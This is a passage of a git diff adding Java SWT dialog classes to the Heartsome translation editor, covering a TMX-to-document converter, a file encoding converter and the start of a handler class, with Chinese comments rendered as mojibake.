"net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog.comboIndex"; + + private static final String PROPERTYCHECKBTN_ENABLE = "net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog.propertyEnable"; + + private static final String PROPERTYCHECKBTN_SELECT = "net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog.propertySelect"; + + private static final String SRCBTN_ENABLE = "net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog.srcEnable"; + + private static final String SRCBTN_SELECT = "net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog.srcSelect"; + + private static final String SAVEASBTN_ENABLE = "net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog.saveAsEnable"; + + private static final String SAVEASBTN_SELECT = "net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog.saveAsSelect"; + + private List tmxList; + + private Button addTmxBtn; + + private Button removeTmxBtn; + + private Combo fileTypeCombo; + + private Button propertyCheckBtn; + + private Button srcBtn; + + private Button saveAsBtn; + + private Text text; + + private Button browserBtn; + + private static final Map allNames = ConverterFactory.getAllTmx2FileConverterName(); + + public TmxConvert2FileDialog(Shell parentShell) { + super(parentShell); + setShellStyle(SWT.SHELL_TRIM); + + } + + @Override + protected Point getInitialSize() { + return new Point(620, 500); + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.window.Window#configureShell(org.eclipse.swt.widgets.Shell) + */ + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(getText()); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog#createClientArea(org.eclipse.swt.widgets.Composite) + */ + @Override + public Composite createClientArea(Composite clientContainer) { + Composite parent = clientContainer; + parent.setLayout(new GridLayout(2, false)); + // 1ã€åˆ›å»ºè½¬æ¢åˆ—表区域 + Label converTmxsLable = new Label(parent, SWT.NONE); + converTmxsLable.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1)); + converTmxsLable.setText(Messages.getString("dialog.TmxConvert2FileDialog.waitlist")); + new Label(parent, SWT.NONE); + // list + tmxList = new List(parent, SWT.BORDER | SWT.MULTI | SWT.H_SCROLL | SWT.V_SCROLL); + tmxList.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + // 2 ã€åˆ›å»ºæ“作转æ¢åˆ—表区域的按钮 + Composite composite = new Composite(parent, SWT.NONE); + GridLayout rowLayout = new GridLayout(1, false); + rowLayout.marginRight = 0; + rowLayout.verticalSpacing = 10; + composite.setLayout(rowLayout); + composite.setLayoutData(new GridData(GridData.FILL_VERTICAL)); + // add + addTmxBtn = new Button(composite, SWT.NONE); + addTmxBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + addTmxBtn.setText(Messages.getString("dialog.TmxConvert2FileDialog.add")); + // remove + removeTmxBtn = new Button(composite, SWT.NONE); + removeTmxBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + removeTmxBtn.setText(Messages.getString("dialog.TmxConvert2FileDialog.remove")); + + // 3ã€æ–‡ä»¶ç±»åž‹é€‰æ‹©åŒºåŸŸ + Composite fileTypeSelectArea = new Composite(parent, SWT.NONE); + GridLayout gridLayout = new GridLayout(2, false); + gridLayout.marginWidth = 0; + fileTypeSelectArea.setLayout(gridLayout); + fileTypeSelectArea.setLayoutData(new GridData(SWT.FILL, SWT.TOP, true, false, 1, 1)); + + Label lblNewLabel_1 = new Label(fileTypeSelectArea, SWT.NONE); + lblNewLabel_1.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblNewLabel_1.setText(Messages.getString("dialog.TmxConvert2FileDialog.convertto")); + // type + fileTypeCombo = new Combo(fileTypeSelectArea, SWT.READ_ONLY); + fileTypeCombo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + new Label(parent, SWT.NONE); + + // 4ã€è½¬æ¢å±žæ€§é€‰æ‹©åŒºåŸŸ + propertyCheckBtn = new Button(parent, SWT.CHECK); + propertyCheckBtn.setText(Messages.getString("dialog.TmxConvert2FileDialog.needproperty")); + new Label(parent, SWT.NONE); + + // 5ã€å­˜å‚¨è·¯å¾„选择区域 + Group savaPathGroup = new Group(parent, SWT.NONE); + GridLayout saveLayout = new GridLayout(1, false); + saveLayout.marginLeft = 0; + savaPathGroup.setLayout(saveLayout); + + savaPathGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + savaPathGroup.setText(Messages.getString("dialog.TmxConvert2FileDialog.path")); + // æºæ–‡ä»¶ + srcBtn = new Button(savaPathGroup, SWT.RADIO); + srcBtn.setText(Messages.getString("dialog.TmxConvert2FileDialog.srcpath")); + + Composite saveAsComposite = new Composite(savaPathGroup, SWT.NONE); + GridLayout layout = new GridLayout(3, false); + layout.marginLeft = -5; + saveAsComposite.setLayout(layout); + GridData gridData = new GridData(GridData.FILL_HORIZONTAL); + saveAsComposite.setLayoutData(gridData); + // å¦å­˜ä¸º + saveAsBtn = new Button(saveAsComposite, SWT.RADIO); + saveAsBtn.setText(Messages.getString("dialog.TmxConvert2FileDialog.saveaspath")); + // filePath + text = new Text(saveAsComposite, SWT.BORDER); + text.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + browserBtn = new Button(saveAsComposite, SWT.NONE); + browserBtn.setText(Messages.getString("dialog.TmxConvert2FileDialog.browser")); + + // 6〠åˆå§‹åŒ–æ•°æ®ä»¥åŠæŒ‰é’®çŠ¶æ€ + setInitState(); + addListener(); + loadDialogSettings(); + return clientContainer; + } + + private String getText() { + return Messages.getString("dialog.TmxConvert2FileDialog.title"); + } + + // okPress ,执行代ç ç¤ºä¾‹ + /** + * (non-Javadoc) + * @see org.eclipse.jface.operation.IRunnableWithProgress#run(org.eclipse.core.runtime.IProgressMonitor) + */ + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + TmxConvert2FileBean counverBean = getCounverBean(); + + int fileCount = counverBean.tmxFilePath.size(); + AbstractTmx2File tmx2FileConverter = ConverterFactory.getTmx2FileConverter(counverBean.targetFileType); + + monitor.beginTask(Messages.getString("dialog.TmxConvert2FileDialog.convert.task.msg1"), fileCount * 100 + 10); + String tmxPath = null; + File targetFile = null; + String currentConvertFileName = ""; + try { + final String exitsFileName = checkTargetFileExits(counverBean); + if (!exitsFileName.isEmpty()) { + final boolean isConfirm[] = new boolean[1]; + isConfirm[0] = true; + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + isConfirm[0] = OpenMessageUtils.openConfirmMessage(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.overwriteFile"), exitsFileName)); + + } + }); + if (!isConfirm[0]) { + monitor.setCanceled(true); + return; + } + + } + monitor.worked(10); + for (int i = 0; i < fileCount; i++) { + tmxPath = counverBean.tmxFilePath.get(i); + final File f = new File(tmxPath); + currentConvertFileName = f.getName(); + if (!f.exists() || !f.canRead()) { + throw new Exception(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.sourceFileNotexist"), f.getName())); + } + monitor.setTaskName(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.convert.task.msg2"), tmxPath)); + + targetFile = getTargetFile(tmxPath, counverBean, i); + if (null == targetFile) {// å–消覆盖目标文件 + continue; + } + if (!targetFile.exists() || !targetFile.canWrite()) { + throw new Exception( + MessageFormat.format(Messages.getString("dialog.TmxConvert2FileDialog.targetFileNotexist"), + targetFile.getName())); + } + if (monitor.isCanceled()) { + return; + } else { + // TODO: 处ç†HSTM转æ¢åŒ…å«å•å…ƒå±žæ€§çš„情况 + if (counverBean.targetFileType == ConverterFactory.FILE_TYPE_HSTM) { + tmxPath = getHstmConvertPath(tmxPath); + } + SubProgressMonitor subFileJob = new SubProgressMonitor(monitor, 100); + tmx2FileConverter.doCovnerter(tmxPath, targetFile, subFileJob); + } + monitor.worked(1); + } + + } catch (Exception e) { + if (null != targetFile) { + targetFile.delete(); + } + LOGGER.error("", e); + throw new InterruptedException(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.convert.task.error"), currentConvertFileName, + e.getMessage())); + } finally { + monitor.done(); + } + + } + + private File getTargetFile(String tmxPath, TmxConvert2FileBean counverBean, int index) throws Exception { + File file= getTargetFile0(tmxPath, counverBean, index); + final String dirName = file.getParent(); + if (!file.exists()) { + try { + file.createNewFile(); + } catch (Exception e) { + throw new Exception(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.targetFileNotexist"), dirName)); + } + } + return file; + + } + + private int getTargetNameCount(TmxConvert2FileBean counverBean, int index, String name) { + if (!counverBean.isNewTargetPath) { + return 0; + } + int count = -1; + for (int i = 0; i <= index; i++) { + String string = counverBean.tmxFilePath.get(i); + File file = new File(string); + if (file.getName().equals(name)) { + count++; + } + } + return count; + } + + private File getTargetFile0(String tmxPath, TmxConvert2FileBean counverBean, int index) { + File tmxFile = new File(tmxPath); + String name = tmxFile.getName(); + int targetNameCount = getTargetNameCount(counverBean, index, name); + if (0 == targetNameCount) { + name = name.substring(0, name.lastIndexOf(".")) + "."; + } else { + name = name.substring(0, name.lastIndexOf(".")) + "_(" + targetNameCount + ")."; + } + File file = null; + String path = null; + if (counverBean.isNewTargetPath) { + path = counverBean.newTargetPath; + } else { + path = tmxFile.getParent(); + } + + if (path.endsWith(File.separator)) { + file = new File(path + name + allNames.get(counverBean.targetFileType)); + } else { + file = new File(path + File.separator + name + allNames.get(counverBean.targetFileType)); + } + return file; + } + + protected String checkTargetFileExits(TmxConvert2FileBean counverBean) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < counverBean.tmxFilePath.size(); i++) { + File file= getTargetFile0(counverBean.tmxFilePath.get(i), counverBean, i); + if (file.exists()) { + sb.append(file.getName() + "\n"); + } + + } + return sb.toString(); + } + + /** + * 设置åˆå§‹åŒ–æ•°æ® ; + */ + private void setInitState() { + + removeTmxBtn.setEnabled(false); + + fileTypeCombo.add(Messages.getString("dialog.TmxConvert2FileDialog.fileType.docx")); + fileTypeCombo.add(Messages.getString("dialog.TmxConvert2FileDialog.fileType.xlsx")); + fileTypeCombo.add(Messages.getString("dialog.TmxConvert2FileDialog.fileType.txt")); + fileTypeCombo.add(Messages.getString("dialog.TmxConvert2FileDialog.fileType.tbx")); + fileTypeCombo.add(Messages.getString("dialog.TmxConvert2FileDialog.fileType.hstm")); + fileTypeCombo.setText(Messages.getString("dialog.TmxConvert2FileDialog.fileType.docx")); + + propertyCheckBtn.setEnabled(false); + propertyCheckBtn.setSelection(false); + + text.setEditable(false); + srcBtn.setEnabled(true); + srcBtn.setSelection(false); + + saveAsBtn.setEnabled(true); + saveAsBtn.setSelection(true); + browserBtn.setEnabled(true); + + } + + /** + * 添加监å¬å™¨ ; + */ + private void addListener() { + + addTmxBtn.addSelectionListener(new AddTmxFileCommand()); + tmxList.addSelectionListener(new TmxListFileSelectCommand()); + removeTmxBtn.addSelectionListener(new RemoveTmxFileCommand()); + fileTypeCombo.addSelectionListener(new SelectFileTypeCommand()); + browserBtn.addSelectionListener(new BrowserDirCommand()); + srcBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + browserBtn.setEnabled(false); + saveAsBtn.setSelection(false); + setOkState(); + } + }); + saveAsBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + browserBtn.setEnabled(true); + srcBtn.setSelection(false); + setOkState(); + } + }); + } + + /** + * 添加文件 + * @author yule + * @version + * @since JDK1.6 + */ + private class AddTmxFileCommand extends SelectionAdapter { + + /** + * (non-Javadoc) + * @see org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse.swt.events.SelectionEvent) + */ + @Override + public void widgetSelected(SelectionEvent e) { + + FileDialog fDialog = new FileDialog(getShell(), SWT.MULTI); + fDialog.setFilterExtensions(new String[] { "*.tmx" }); + fDialog.open(); + String filterPath = fDialog.getFilterPath(); + String[] fileNames = fDialog.getFileNames(); + if (fileNames == null || fileNames.length == 0) { + return; + } + String absolutePath = null; + for (String fileName : fileNames) { + absolutePath = new File(filterPath + File.separator + fileName).getAbsolutePath(); + if (Arrays.asList(tmxList.getItems()).contains(absolutePath)) { + continue; + } + tmxList.add(absolutePath); + } + setOkState(); + } + } + + /** + * 删除文件 + * @author yule + * @version + * @since JDK1.6 + */ + private class RemoveTmxFileCommand extends SelectionAdapter { + /** + * (non-Javadoc) + * @see org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse.swt.events.SelectionEvent) + */ + @Override + public void widgetSelected(SelectionEvent e) { + if (tmxList.getSelectionCount() <= 0) { + removeTmxBtn.setEnabled(false); + return; + } + tmxList.remove(tmxList.getSelectionIndices()); + if (tmxList.getItemCount() <= 0) { + removeTmxBtn.setEnabled(false); + } + setOkState(); + } + + } + + private class TmxListFileSelectCommand extends SelectionAdapter { + + /** + * (non-Javadoc) + * @see org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse.swt.events.SelectionEvent) + */ + @Override + public void widgetSelected(SelectionEvent e) { + if (tmxList.getSelectionCount() > 0) { + removeTmxBtn.setEnabled(true); + } + } + } + + /** + * 选择文件类型 + * @author yule + * @version + * @since JDK1.6 + */ + private class SelectFileTypeCommand extends SelectionAdapter { + public void widgetSelected(SelectionEvent e) { + int selectIndex = fileTypeCombo.getSelectionIndex(); + if (-1 == selectIndex) { + return; + } + int hstmIndex = 4;// hstm 的索引ä½ç½® + if (hstmIndex == selectIndex) { + propertyCheckBtn.setEnabled(true); + } else { + propertyCheckBtn.setEnabled(false); + propertyCheckBtn.setSelection(false); + } + } + } + + /** + * 选择å¦å­˜ä¸ºçš„文件路径 + * @author yule + * @version + * @since JDK1.6 + */ + private class BrowserDirCommand extends SelectionAdapter { + + /** + * (non-Javadoc) + * @see org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse.swt.events.SelectionEvent) + */ + @Override + public void widgetSelected(SelectionEvent e) { + DirectoryDialog dialog = new DirectoryDialog(getShell()); + dialog.open(); + + String filterPath = dialog.getFilterPath(); + if (null == filterPath || filterPath.isEmpty()) { + return; + } + text.setText(filterPath); + setOkState(); + } + } + + public TmxConvert2FileBean getCounverBean() { + final TmxConvert2FileBean bean = new TmxConvert2FileBean(); + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + bean.tmxFilePath = Arrays.asList(tmxList.getItems()); + bean.isNewTargetPath = saveAsBtn.getSelection(); + if (bean.isNewTargetPath) { + bean.newTargetPath = text.getText(); + } + switch (fileTypeCombo.getSelectionIndex()) { + case 0: + bean.targetFileType = ConverterFactory.FILE_TYPE_DOCX; + break; + case 1: + bean.targetFileType = ConverterFactory.FILE_TYPE_XLSX; + break; + case 2: + bean.targetFileType = ConverterFactory.FILE_TYPE_TXT; + break; + case 3: + bean.targetFileType = ConverterFactory.FILE_TYPE_TBX; + break; + case 4: + bean.targetFileType = ConverterFactory.FILE_TYPE_HSTM; + break; + default: + bean.targetFileType = ConverterFactory.FILE_TYPE_DOCX; + break; + } + } + }); + + return bean; + } + + private String getHstmConvertPath(String tmxPath) { + final Map map = new HashMap(); + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + if (propertyCheckBtn.isEnabled() && propertyCheckBtn.getSelection()) { + map.put("key", "value"); + } + } + }); + if (!map.isEmpty()) { + tmxPath = "TRUE" + tmxPath; + } + return tmxPath; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog#close() + */ + @Override + public boolean close() { + if (getShell() != null && !getShell().isDisposed()) { + writeDialogSettings(); + } + return super.close(); + } + + private void writeDialogSettings() { + IDialogSettings dialogSettings = getDialogSettings(); + int fileTypeSelectIndex = fileTypeCombo.getSelectionIndex(); + dialogSettings.put(FILETYPECOMBO_INDEX, fileTypeSelectIndex == -1 ? 0 : fileTypeSelectIndex); + + dialogSettings.put(PROPERTYCHECKBTN_ENABLE, propertyCheckBtn.isEnabled()); + dialogSettings.put(PROPERTYCHECKBTN_SELECT, propertyCheckBtn.getSelection()); + + dialogSettings.put(SRCBTN_ENABLE, srcBtn.isEnabled()); + dialogSettings.put(SRCBTN_SELECT, srcBtn.getSelection()); + + dialogSettings.put(SAVEASBTN_ENABLE, saveAsBtn.isEnabled()); + dialogSettings.put(SAVEASBTN_SELECT, saveAsBtn.getSelection()); + } + + private void loadDialogSettings() { + IDialogSettings dialogSettings = getDialogSettings(); + try { + fileTypeCombo.select(dialogSettings.getInt(FILETYPECOMBO_INDEX)); + } catch (NumberFormatException e) { + return; + } + propertyCheckBtn.setEnabled(dialogSettings.getBoolean(PROPERTYCHECKBTN_ENABLE)); + propertyCheckBtn.setSelection(dialogSettings.getBoolean(PROPERTYCHECKBTN_SELECT)); + + srcBtn.setEnabled(dialogSettings.getBoolean(SRCBTN_ENABLE)); + srcBtn.setSelection(dialogSettings.getBoolean(SRCBTN_SELECT)); + + saveAsBtn.setEnabled(dialogSettings.getBoolean(SAVEASBTN_ENABLE)); + saveAsBtn.setSelection(dialogSettings.getBoolean(SAVEASBTN_SELECT)); + } + + private IDialogSettings getDialogSettings() { + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings fDialogSettings = settings.getSection(getClass().getName()); + if (fDialogSettings == null) + fDialogSettings = settings.addNewSection(getClass().getName()); + return fDialogSettings; + } + + /** + * 设置okæŒ‰é’®çš„çŠ¶æ€ ; + */ + private void setOkState() { + if (tmxList.getItemCount() > 0) { + if (saveAsBtn.getSelection()) { + if (text.getText() != null && !text.getText().isEmpty()) { + setOkBtnEnable(true); + } else { + setOkBtnEnable(false); + } + } else { + setOkBtnEnable(true); + } + } else { + setOkBtnEnable(false); + } + } + + /** + * 帮助连接URL + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch07.html#tmx_to_id"; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/encodingconveter/EncodingConverterDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/encodingconveter/EncodingConverterDialog.java new file mode 100644 index 0000000..46929f2 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/encodingconveter/EncodingConverterDialog.java @@ -0,0 +1,305 @@ +package net.heartsome.cat.te.ui.encodingconveter; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class EncodingConverterDialog extends HsAbstractProgressDialog { + public static final Logger LOGGER = LoggerFactory.getLogger(EncodingConverterDialog.class); + private Text srcFileText; + private Text tgtFileText; + private Combo srcEndcodingCombo; + private Combo tgtEncodingComb; + + private String tgtFilePath; + private String srcFilePath; + private Button srcFileBtn; + private boolean finishClose; + private String newFilePath; + + public EncodingConverterDialog(Shell parentShell, String filePath) { + super(parentShell); + setShellStyle(SWT.CLOSE | SWT.TITLE); + this.srcFilePath = filePath; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.EncodingConverterDialog.title")); + setOkBtnEnable(true); + } + + @Override + protected void okPressed() { + if (srcFilePath == null || srcFilePath.length() == 0) { + OpenMessageUtils + .openMessage(IStatus.ERROR, Messages.getString("dialog.EncodingConverterDialog.srcFileMsg")); + return; + } + final String srcEncoding = srcEndcodingCombo.getText(); + if (srcEncoding.length() == 0) { + OpenMessageUtils.openMessage(IStatus.ERROR, + Messages.getString("dialog.EncodingConverterDialog.srcEncodingMsg")); + return; + } + if (tgtFilePath == null || tgtFilePath.length() == 0) { + OpenMessageUtils + .openMessage(IStatus.ERROR, Messages.getString("dialog.EncodingConverterDialog.tgtFileMsg")); + return; + } + final String tgtFileEncoding = tgtEncodingComb.getText(); + if (tgtFileEncoding.length() == 0) { + OpenMessageUtils.openMessage(IStatus.ERROR, + Messages.getString("dialog.EncodingConverterDialog.tgtEncodingMsg")); + return; + } + if(tgtFilePath.equalsIgnoreCase(srcFilePath)){ + OpenMessageUtils.openMessage(IStatus.ERROR, + Messages.getString("dialog.EncodingConverterDialog.tgtSameSrcPathMsg")); + return; + } + File f = new File(tgtFilePath); + if (f.exists()) { + if (!OpenMessageUtils.openConfirmMessage(Messages.getString("dialog.EncodingConverterDialog.tgtFileExist"))) { + return; + } + } + try { + run(true, true, new IRunnableWithProgress() { + + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + newFilePath = null; + BufferedReader reader = null; + BufferedWriter writer = null; + try { + File srcfile = new File(srcFilePath); + long size = srcfile.length(); + reader = new BufferedReader(new InputStreamReader(new FileInputStream(srcfile), srcEncoding)); + writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(tgtFilePath), + tgtFileEncoding)); + monitor.beginTask(Messages.getString("dialog.EncodingConverterDialog.convertTask"), (int) size); + monitor.worked(10); + int count = -1; + char[] cbuf = new char[8192]; + count = reader.read(cbuf); + if (count > 0) { + StringBuilder sb = new StringBuilder(); + sb.append(cbuf, 0, 500); // å–å‰100个字符进行判断 + int idx = sb.indexOf(""); + if (endIdx != -1) { + sb.replace(idx, endIdx + 2, ""); + writer.write(sb.toString()); + writer.write(cbuf, 500, count - 500); + count = reader.read(cbuf); + } + } + } + while (count > 0) { + monitor.worked(count * 2); + writer.write(cbuf, 0, count); + count = reader.read(cbuf); + } + writer.flush(); + monitor.done(); + newFilePath = tgtFilePath; + } catch (Exception e) { + LOGGER.error("", e); + newFilePath = null; + return; + } finally { + try { + reader.close(); + writer.close(); + } catch (Exception e) { // do nothing + LOGGER.error("", e); + } + } + } + }); + if (tgtFilePath != null) { + OpenMessageUtils.openMessage(IStatus.INFO, + Messages.getString("dialog.EncodingConverterDialog.covnertFinish")); + } + } catch (Exception e) { + LOGGER.error("", e); + } + + if (finishClose) { + close(); + } + } + + public String getNewFilePath() { + return newFilePath; + }; + + @Override + public Composite createClientArea(Composite clientContainer) { + clientContainer.setLayout(new GridLayout(3, false)); + + Label srcLbl = new Label(clientContainer, SWT.NONE); + srcLbl.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + srcLbl.setText(Messages.getString("dialog.EncodingConverterDialog.srcLabel")); + + srcFileText = new Text(clientContainer, SWT.BORDER | SWT.READ_ONLY); + srcFileText.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_WHITE)); + srcFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + srcFileBtn = new Button(clientContainer, SWT.NONE); + srcFileBtn.setText(Messages.getString("dialog.EncodingConverterDialog.srcBrowseLabel")); + srcFileBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog fDialog = new FileDialog(getShell(), SWT.SINGLE); + fDialog.setFilterExtensions(new String[] { "*.tmx", "*.*" }); + String path = fDialog.open(); + if (path == null || path.length() == 0) { + return; + } + File f = new File(path); + String encoding = FileEncodingDetector.detectFileEncoding(f); + srcEndcodingCombo.setText(encoding); + srcFileText.setText(path); + srcFilePath = path; +// tgtFilePath = fileTargetFile(srcFilePath, "UTF-8"); +// tgtFileText.setText(tgtFilePath); +// tgtEncodingComb.setText("UTF-8"); + } + }); + + Label srcFileEncodingLbl = new Label(clientContainer, SWT.NONE); + srcFileEncodingLbl.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + srcFileEncodingLbl.setText(Messages.getString("dialog.EncodingConverterDialog.srcEncodingLabel")); + + srcEndcodingCombo = new Combo(clientContainer, SWT.NONE | SWT.READ_ONLY); + GridData gdSrcECombo = new GridData(SWT.LEFT, SWT.CENTER, true, false, 1, 1); + gdSrcECombo.widthHint = 130; + srcEndcodingCombo.setLayoutData(gdSrcECombo); + new Label(clientContainer, SWT.NONE); + + Label spLbl = new Label(clientContainer, SWT.SEPARATOR | SWT.HORIZONTAL); + spLbl.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, false, 3, 1)); + + Label tgtSrcLbl = new Label(clientContainer, SWT.NONE); + tgtSrcLbl.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + tgtSrcLbl.setText(Messages.getString("dialog.EncodingConverterDialog.tgtFileLabel")); + + tgtFileText = new Text(clientContainer, SWT.BORDER | SWT.READ_ONLY); + tgtFileText.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_WHITE)); + tgtFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Button tgtBtn = new Button(clientContainer, SWT.NONE); + tgtBtn.setText(Messages.getString("dialog.EncodingConverterDialog.tgtBrowseLabel")); + tgtBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog fDialog = new FileDialog(getShell(), SWT.SAVE | SWT.SINGLE); + fDialog.setFilterExtensions(new String[] {"*.tmx" ,"*.*" }); + String path = fDialog.open(); + if (path == null || path.length() == 0) { + return; + } + tgtFileText.setText(path); + tgtFilePath = path; + } + }); + + Label tgtEncodingLbl = new Label(clientContainer, SWT.NONE); + tgtEncodingLbl.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + tgtEncodingLbl.setText(Messages.getString("dialog.EncodingConverterDialog.tgtEncodingLabel")); + + tgtEncodingComb = new Combo(clientContainer, SWT.NONE | SWT.READ_ONLY); + GridData gdTgtECombo = new GridData(SWT.LEFT, SWT.CENTER, true, false, 1, 1); + gdTgtECombo.widthHint = 130; + tgtEncodingComb.setLayoutData(gdTgtECombo); + new Label(clientContainer, SWT.NONE); + + initData(); + return null; + } + + private void initData() { + String[] codeArray = LocaleService.getPageCodes(); + srcEndcodingCombo.setItems(codeArray); + tgtEncodingComb.setItems(codeArray); + if (srcFilePath != null && srcFilePath.length() != 0) { + File f = new File(srcFilePath); + if (f.exists()) { + String encoding = FileEncodingDetector.detectFileEncoding(f); + srcEndcodingCombo.setText(encoding); + srcFileText.setText(srcFilePath); + tgtFilePath = fileTargetFile(srcFilePath, "UTF-8"); + tgtFileText.setText(tgtFilePath); + tgtEncodingComb.setText("UTF-8"); + finishClose = true; + } + srcFileBtn.setEnabled(false); + } + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, Messages.getString("dialog.EncodingConverterDialog.convertBtn"), + true); + createButton(parent, IDialogConstants.CANCEL_ID, Messages.getString("dialog.EncodingConverterDialog.closeBtn"), + false); + } + + private String fileTargetFile(String srcFilePath, String encoding) { + int idx = srcFilePath.lastIndexOf('.'); + String path = ""; + if (idx != -1) { + String pre = srcFilePath.substring(0, idx); + String ext = srcFilePath.substring(idx, srcFilePath.length()); + path = pre + "_" + encoding + ext; + } else { + path = srcFilePath + encoding; + } + return path; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch07.html#code_trans_id"; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/encodingconveter/EncodingConverterHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/encodingconveter/EncodingConverterHandler.java new file mode 100644 index 0000000..8d05339 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/encodingconveter/EncodingConverterHandler.java @@ -0,0 +1,37 @@ +/** + * EncodingConverterHandler.java + * + * Version information : + * + * Date:2013-10-18 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.encodingconveter; + +import 